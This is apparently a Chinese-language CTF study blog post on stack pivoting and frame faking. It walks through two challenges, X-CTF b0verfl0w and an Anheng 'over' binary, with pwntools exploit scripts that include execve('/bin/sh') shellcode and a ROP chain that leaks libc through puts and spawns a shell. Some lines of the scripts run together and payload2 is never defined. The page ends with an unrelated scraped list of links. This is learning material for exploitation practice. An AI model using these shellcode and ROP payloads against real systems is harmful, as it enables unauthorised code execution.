花式栈溢出技巧----stack pivoting/frame faking
学习文献:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic_rop/
https://www.jianshu.com/p/c53627895330
1.stack pivoting 转移堆
以 X-CTF Quals 2016 - b0verfl0w 为例学习
#若可溢出的栈空间过小,但NX未开启,可以将eip指向重新指回栈顶,然后重新执行shellcode
32位程序,没什么防护,拖进IDA,靠字符串定位
可以溢出的空间为50-0x20=18个字节,空间不够布置shellcode,但因为NX保护没开启,直接在栈上布置shellcode
我们可以将eip设置为跳回栈顶,然后开辟相应的esp空间用来执行shellcode
先找到跳回栈顶的语句
exp
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp= 0x08048504
payload=shellcode+(0x20-len(shellcode))*'a'+'bbbb'+p32(jmp_esp) + sub_esp_jmp
cn.sendline(payload)
cn.interactive()
2.frame faking
正如这个技巧名字所说的那样,这个技巧就是构造一个虚假的栈帧来控制程序的执行流
原理:
概括地讲,我们在之前讲的栈溢出不外乎两种方式
- 控制程序 EIP
- 控制程序 EBP
其最终都是控制程序的执行流。在 frame faking 中,我们所利用的技巧便是同时控制 EBP 与 EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。
其实看完wiki里的这段话我有点似懂非懂的感觉
在创建栈帧是我们肯定要push一个ebp用来之后ret之前恢复环境,那么我们如果把我们想pop的ebp2覆盖了原先栈中保存的ebp,等pop ebp的时候,其实就变为了pop ebp2,以后执行别的函数的时候压入的ebp也变为了我们想要的ebp2了,再修改eip,执行到ebp2处,就控制了流程
那么显然在 fake frame 中,我们有一个需求就是,我们必须得有一块可以写的内存,并且我们还知道这块内存的地址,这一点与 stack pivoting 相似
例子:2018 年 6 月安恒杯月赛的 over
一个64位文件,没有栈保护,开启了NX,64位文件的传参顺序要注意
拖入IDA看一下主要函数
read函数可以进行溢出,同时溢出的部分会被puts函数输出,可以用来查看我们需要的地址
那么我们需要的stack地址怎么求呢,每次stack地址都是会变动的,但是偏移量是一样的
我们通过设置断点可以看到原先read函数保存的ebp地址=0x7fffffffdcb0
偏移量即是改成我们需要的栈顶就好,这里是rbp-0x70
这里这个偏移量怎么看呢,对0x400676设置断点
我们可以看到刚开始的rbp,rsp相差只有0x1c,但是之后push rbp/sub rsp,50导致保存的rbp距离栈顶相差就变为0x70了
exp
#主要部分from pwn import *cn = process("./over.over")
bin = ELF("./over.over")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')def DEBUG(a=''):gdb.attach(cn,a)if a == '':raw_input()cn.recvuntil('>')
payload='a'*0x50
cn.send(payload)
stack = u64(cn.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 0x70
success("stack -> {:#x}".format(stack))#DEBUG("b *0x4006B9\nc")
rdi_ret=0x0000000000400793
main_addr=0x400676
cn.recvuntil('>')
payload='11111111'+p64(rdi_ret)+p64(bin.got['puts'])+p64(bin.symbols['puts'])+p64(main_addr)+(80-40)*'a'+p64(stack)+p64(0x4006be)
cn.sendline(payload)
puts_addr=u64(cn.recvuntil("\x7f")[-6: ].ljust(8, '\0')) #leak putsbase_addr=puts_addr-libc.symbols['puts']
execve_addr=base_addr+libc.symbols['execve']
binsh_addr=base_addr+libc.search('/bin/sh').next()
pop_rdx_pop_rsi_ret=base_addr+0x00000000001150c9fake_eip=bin.symbols['puts']
payload_execv='22222222'+p64(rdi_ret)+p64(binsh_addr)+p64(pop_rdx_pop_rsi_ret)+p64(0)+p64(0)+p64(execve_addr)+(80-56)*'a'+p64(stack-48)+p64(0x4006be)
cn.recvuntil('>')
cn.send(payload2+payload_execv)
cn.interactive()
stack = u64(cn.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 0x70
为什么在读到 \x7f 之后截止,再获取前面的6字节呢?
原因是虽然在64位计算机中,一个地址的长度是8字节,但是实际上的计算机内存只有16G内存以下,所以一般的地址空间只是用了不到 2^48 的地址空间。因此
实际的操作系统中,一个地址的最高位的两个字节是00,而且实际栈地址一般是0x7fxxxx开头的,因此为了避免获取错误的地址值,只需要获取前面的6字节值,
然后通过ljust函数把最高位的两字节填充成00。 我们还可以用这种一般的写法:u64(p.recv(6).ljust(8, "\x00"))
同时,format函数可以快速除了各种字符串,通过{}和:来代替%
有人问为什么leak之前要加‘11111111’,而不是直接leak puts呢,因为我们执行完leave,retn之后,会pop ebp之后才能pop eip,所以要空8个字节出来,我自己纠结了好久
花式栈溢出技巧----stack pivoting/frame faking相关推荐
- 花式栈溢出技巧----Stack smash
学习文献:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/others/#stack-smash 以前遇见过一次这种情况,但是是 ...
- 花式栈溢出值stack smash
花式栈溢出值stack smash 原理: 在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息.而 stack smas ...
- 花式栈溢出技巧之frame faking
frame faking 构造一个虚假的栈帧来控制程序的执行流 原理 之前所讲的栈溢出不外乎两种方式: 控制程序EIP 控制程序EBP 其最终都是控制程序的执行流.在frame faking中,我们所 ...
- 花式栈溢出技巧之stack pivoting
原理 正如它描述的,该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后在相应位置进行ROP.一般来说,我们可能在下述情况使用劫持栈指针. 可以控制栈溢出的字节数较少,难以构造较长的ROP链. 开启了 ...
- 花式栈溢出技巧----partial overwrite
学习资料:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/others/#partial-overwrite https://b ...
- 构造虚假栈帧 | 花式栈溢出
花式栈溢出技巧----stack pivoting/frame faking: https://blog.csdn.net/qq_42192672/article/details/83039125 C ...
- Advanced Exploit Techique之--frame faking技术http://ntbgyz.com/articles/200602/851.html
Advanced Exploit Techique之--frame faking技术http://ntbgyz.com/articles/200602/851.html ...
- AndroidStudio出现 Unknown verification type [95] in stack map frame 问题的解决办法
AndroidStudio出现 Unknown verification type [95] in stack map frame 问题的解决办法 参考文章: (1)AndroidStudio出现 U ...
- 栈溢出之stack privot姿势学习
该技巧就是劫持栈指针到自己可以控制的内存,然后进行ROP,一般来说一下几种情形可以使用 栈溢出字节数较少,无法构造足够长的ROP链 程序开启了PIE保护,栈地址未知 将栈劫持到堆,利用堆漏洞 例 bo ...
最新文章
- 大二菜鸟———无重复字符的最长子串
- mysql装一次后再装_MySQL再安装
- 为什么我们喜欢用 sigmoid 这类 S 型非线性变换?
- C#创建Access
- PHP垃圾回收机制理解
- 微商如何打印电子面单
- android车载娱乐系统场景,智能汽车、家庭娱乐系统、工业自动化场景中接口应用设计...
- [Vue-cli3] is a Vue CLI 3 only command and you are using Vue CLI 2.9.6. You may...
- Source Insight 4.0 常用设置
- 斯坦福CS230官方指南:CNN、RNN及使用技巧速查(打印收藏)
- linux 初始化全部操作
- Ubuntu16.04下Hadoop+Hive+HBase安装部署实践
- ASP.NET项目开发经典视频教程与源码、模块合集
- java实现word转pdf文件下载
- hough变换理解 原理 步骤
- 带农历日期的html代码,很全的显示阴历(农历)日期的js代码
- python做项目看板_基于pyecharts搭建BI看板
- c语言字符结构数组初始化,C语言结构体数组初始化问题
- 《老路用得上的商学课》21-30学习笔记
- RPA机器人流程自动化的灯塔效应
热门文章
- 计算机右侧不显示桌面,电脑桌面的右下角不显示移动设备的图标怎么办?
- VC2017编译OpenCV3.41+contrib
- traceback.print_exc()跟traceback.format_exc()有什么区别
- 苹果待处理订单要多久_用苹果 iPhone 时操作失误被扣费,该如何申请退款?
- Latex如何写出一个增广矩阵中的长坚虚线
- 计算机特岗教师转正申请书,特岗教师转正申请书怎么写才规范
- ruby中gruff画图的简单例子
- 计算机游戏教学法.ppt,计算机游戏教学法第十一章.ppt
- 全球及中国STEAM素质教育行业发展价值与运营能力状况分析报告2022版
- python处理大数据量json数据的方法_python-利用json模块处理json数据几个函数总结...